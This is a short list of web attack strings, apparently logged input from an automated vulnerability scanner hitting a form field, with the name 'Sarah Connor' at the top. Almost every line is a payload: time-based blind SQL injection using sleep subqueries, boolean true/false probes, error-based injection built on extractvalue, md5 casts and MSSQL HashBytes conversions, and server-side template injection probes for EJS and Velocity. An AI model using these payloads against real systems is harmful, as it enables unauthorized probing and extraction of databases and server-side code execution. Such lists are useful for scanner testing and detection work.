Sarah Connor

(select*from(select+sleep(2)union/**/select+1)a)

123456'"\(

(select*from(select+sleep(0)union/**/select+1)a)

123456鎈'"\(

123456"and"g"="l

123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1168663816')))>'0

123456"and"g"="g

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1934673075')))

123456'and'e'='t

123456/**/and/**/cast(md5('1848583786')as/**/int)>0

123456'and'k'='k

123456'and(select'1'from/**/cast(md5(1690083316)as/**/int))>'0

123456/**/and+0=6

extractvalue(1,concat(char(126),md5(1827406985)))

123456/**/and+2=2

123456"and/**/extractvalue(1,concat(char(126),md5(1837208322)))and"

<%- 983891012+886678531 %>

123456

123456'and/**/extractvalue(1,concat(char(126),md5(1272509845)))and'

#set($c=800277702+847985699)${c}$c